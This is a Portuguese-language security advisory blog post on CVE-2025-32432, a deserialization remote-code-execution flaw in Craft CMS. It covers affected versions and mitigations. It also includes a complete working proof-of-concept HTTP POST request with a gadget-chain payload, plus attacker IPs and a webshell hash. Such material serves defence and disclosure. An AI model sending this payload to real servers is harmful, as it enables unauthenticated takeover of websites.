CVE-2025-32432: Desserialização no Craft CMS Permite RCE


Introdução
Identificada em 7 de abril de 2025 e publicada oficialmente em 25 de abril de 2025 no NVD, a CVE-2025-32432 apresenta uma ameaça crítica para organizações que utilizam o Craft CMS, um sistema de gerenciamento de conteúdo amplamente adotado. Essa falha permite a execução remota de código (RCE) sem autenticação, possibilitando que atacantes executem comandos arbitrários no servidor, comprometendo a segurança de dados e a integridade do sistema. Estima-se que cerca de 13.000 instâncias do Craft CMS sejam vulneráveis, com pelo menos 300 já comprometidas. Patches foram disponibilizados em 10 de abril de 2025, mas a exploração ativa foi detectada desde 17 de abril, tornando a resposta imediata essencial.
Versões Afetadas
A vulnerabilidade afeta as seguintes versões do Craft CMS:
Versão | Intervalo Afetado |
Craft CMS 3.x | 3.0.0-RC1 a 3.9.14 |
Craft CMS 4.x | 4.0.0-RC1 a 4.14.14 |
Craft CMS 5.x | 5.0.0-RC1 a 5.6.16 |
Detalhamento Técnico
A CVE-2025-32432 é uma vulnerabilidade de deserialização insegura que resulta em execução remota de código (RCE). Ela está relacionada a uma falha no framework Yii (CVE-2024-58136), corrigida na versão 2.0.52, mas que exigiu correções específicas no Craft CMS. A exploração ocorre no endpoint actions/assets/generate-transform
, onde uma requisição POST maliciosa pode deserializar um objeto PHP manipulado, permitindo a execução de código arbitrário.
Processo de Exploração
Para explorar a falha, um agente malicioso pode seguir as seguintes etapas:
Obtenção de um CSRF Token Válido: Antes de explorar o endpoint vulnerável, o atacante precisa obter o token CSRF requerido na próxima requisição. Para isso, uma requisição básica para o endpoint
/index.php?p=admin/dashboard
pode ser realizada para capturar o token CSRF.Envio do Payload Malicioso: Com o token CSRF válido, o atacante envia uma requisição POST ao mesmo endpoint com um payload que explora a deserialização. Um exemplo simplificado desse payload seria:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Esse payload faz com que o servidor execute a função phpinfo()
, demonstrando a capacidade de executar código. Em cenários reais, atacantes podem usar payloads mais complexos para instalar backdoors ou extrair dados.
A requisição POST completa ficaria algo como:
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: <hostname>
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: <token>
Content-Type: application/json
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
- Exploração Avançada: Após a execução inicial, atacantes podem carregar arquivos PHP maliciosos, como o
filemanager.php
, para manter acesso persistente. Isso foi observado em campanhas que usaram IPs específicos, como 172.86.113.137 e 104.161.32.11, para distribuir malware.
Ferramentas e Exploits Públicos
Existem ferramentas que automatizam a exploração, disponíveis em repositórios como:
Chocapikk/CVE-2025-32432: Um verificador de vulnerabilidade para Craft CMS.
Sachinart/CVE-2025-32432: Um script Python que automatiza a detecção e exploração, incluindo extração de informações do sistema.
Além disso, um módulo do Metasploit foi publicado, reduzindo a barreira para atacantes menos experientes. A SensePost também disponibilizou um template Nuclei para detecção em versões 4.x e 5.x.
Evidências de Exploração
A exploração no mundo real foi confirmada em 17 de abril de 2025, com campanhas que instalaram arquivos como filemanager.php
(MD5: d8fddbd85e6af76c91bfa17118dbecc6) e outros, como autoload_classmap.php
e wp-22.php
. A SensePost identificou cerca de 35.000 domínios hospedando Craft CMS, dos quais 13.000 eram vulneráveis, majoritariamente nos Estados Unidos.
Mitigações
Patch Oficial
A solução definitiva é atualizar o Craft CMS para as versões corrigidas, lançadas em 10 de abril de 2025:
Medidas Temporárias
Se a atualização imediata não for possível, as seguintes ações podem reduzir o risco:
Bloqueio no Firewall: Configure o firewall para bloquear requisições POST ao endpoint
actions/assets/generate-transform
que contenham a string__class
no corpo. Isso pode ser implementado em ferramentas como WAFs (Web Application Firewalls).Biblioteca de Segurança: Instale a Craft CMS Security Patches como uma solução temporária.
Monitoramento de Logs: Verifique os logs do servidor em busca de requisições suspeitas ao endpoint mencionado, especialmente aquelas com
__class
.
Conclusão
A vulnerabilidade CVE-2025-32432 é uma ameaça crítica que expõe sistemas Craft CMS a ataques severos, incluindo roubo de dados e instalação de malware. Sua exploração ativa e a disponibilidade de ferramentas públicas, como scripts Python e módulos Metasploit, aumentam a urgência de ação. As organizações devem priorizar a atualização para as versões corrigidas e implementar medidas de mitigação temporárias, se necessário. A rápida resposta a essa falha é essencial para proteger a infraestrutura digital.
Se você deseja testar a segurança de seus sistemas de forma prática e eficaz, te convidamos a realizar um torneio hacking na Bypassec, uma plataforma com mais de 100 hackers éticos em prontidão para identificar as vulnerabilidades em seu ambiente.
Referências
Subscribe to my newsletter
Read articles from Bypassec directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
